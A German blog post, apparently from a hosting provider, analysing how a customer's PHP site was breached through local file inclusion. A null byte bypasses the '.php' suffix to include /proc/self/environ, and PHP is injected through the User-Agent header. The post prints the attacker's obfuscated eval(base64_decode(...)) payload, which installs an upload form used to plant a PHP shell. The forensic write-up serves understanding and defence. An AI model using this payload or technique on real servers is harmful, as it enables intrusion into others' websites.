Kreativer Hack
Heute ist mir auf der Arbeit ein sehr kreativer Hack untergekommen – also mal nicht der übliche 0815 Kram.
Zunächst ein bisschen Linux Grundwissen: In /proc/process-id gibt es zu jedem laufenden Prozess Informationen über die Umgebung des Prozesses. In der Datei environ in diesem Verzeichnis befinden sich alle Umgebungsvariablen des jeweiligen Prozesses. Außerdem kann jeder Prozess sein eigenes Environment über /proc/self/ erreichen. Für einen normalen PHP-Request sieht das ganze dann ungefähr so aus (merkt euch schon mal, dass hier auch der User Agent also die Kennung des Browsers enthalten ist
):
PATH=/usr/local/bin:/usr/bin:/bin PHPRCDOCUMENT_ROOT=/Document/Root/ HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 HTTP_ACCEPT_CHARSET=ISO-8859-1,utf-8;q=0.7,*;q=0.7 HTTP_ACCEPT_ENCODING=gzip,deflate HTTP_ACCEPT_LANGUAGE=de,en-us;q=0.7,en;q=0.3 HTTP_CONNECTION=keep-alive HTTP_HOST=www.example.org HTTP_KEEP_ALIVE=115 HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin REDIRECT_STATUS=200 REDIRECT_URL=/test.php REMOTE_ADDR=10.10.10.10 REMOTE_PORT=58628 SCRIPT_FILENAME=/Pfad/zum/php-cgi/Binary/php-cgi SERVER_ADDR=10.11.10.10 SERVER_ADMIN=webmaster@example.org SERVER_NAME=www.example.org SERVER_PORT=80 SERVER_SIGNATURE=<ADDRESS>Apache/1.3.37 Server at www.example.org Port 80</ADDRESS> SERVER_SOFTWARE=Apache GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.1 REQUEST_METHOD=GET QUERY_STRING= REQUEST_URI=/test.php SCRIPT_NAME=/php5_Handler/php PATH_INFO=/test.php PATH_TRANSLATED=/Document/Root/test.php PHPRC=
Nun wollen wir uns einen Teil der Programmierung des Opfers ansehen. Er hat da in etwas sowas gemacht:
<?php include($pagefolder.$variable.".php"); ?>
Ein legitimer Aufruf der Seite war also http://www.example.org/?variable=admin. Bei diesem Aufruf würde dann die Datei admin.php im Verzeichnis $pagefolder eingebunden.
$variable hat er sich aus dem Request der Seite gezogen und nur unzureichend verifiziert in dem er geschaut hat ob die Datei existiert. Dadurch ließen sich prinzipiell alle Dateien einbinden auf die der User Lese-Zugriff hatte, da man die, von der Programmierung vorgegebene, Dateiendung .php umgehen konnte in dem man am Ende des Dateinamens in der URL die Zeichenfolge %00 also einen null character gesetzt hat.
Es war also auch möglich die am Anfang genannte Datei in /proc durch folgenden Aufruf einzubinden.
Der Inhalt dieser Datei wurde nun innerhalb des normalen Layouts der Seite ausgegeben und, da das Einbinden innerhalb einer PHP-Datei erfolgte, vom PHP Interpreter ausgeführt. Wenn man also nun irgend wie PHP-Code in diese Datei einschleusen könnte, würde dieser ausgeführt werden.
Auf den ersten Blick scheint es nicht möglich PHP-Code in die Datei /proc/self/environ einzuschmuggeln. Wie oben beschrieben enthält sie jedoch auch die Kennung des Browsers, welche vom Client ohne größere Probleme individuell gesetzt werden kann. Und so ist auch der Angreifer in dem vorliegenden Fall vorgegangen. Er hat seine Browserkennung wie folgt gesetzt.
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) <?
eval(base64_decode("ZWNobyAnPGRpdj48Zm9ybSBlbmN0eXBlPSJtdWx0aXB
hcnQvZm9ybS1kYXRhIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJmaWxlIi
BuYW1lPSJmaWxlIj48aW5wdXQgdHlwZT1zdWJtaXQgICB2YWx1ZT0iVXBsb2FkI
j48L2Zvcm0+PC9kaXY+JztpZiAoaXNzZXQgKCRfRklMRVNbJ2ZpbGUnXVsndG1w
X25hbWUnXSkpeyAkdGVtcG5hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1
lJ107ICRuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107IGlmKGNvcHkoIi
R0ZW1wbmFtZSIsICIkbmFtZSIpKXsgZWNobyAiRmlsZSB1cGxvYWRlZCI7IH0gZ
WxzZSB7IGVjaG8gIkZpbGUgbm90IHVwbG9hZGVkISI7IH0gfQ==")); ?>
Gecko/20090729 Firefox/3.5.2"
Der Base64 kodierte Teil enthält ein Upload-Formular über das der Angreifer am Ende eine PHP-Shell hochgeladen hat und somit Zugriff auf den kompletten Webspace des Opfers hatte.
Schick schick
Warst du Angreifer oder Opfer?
Weder noch
Das Opfer ist Kunde bei uns und wir durften herausfinden wie er rein gekommen ist.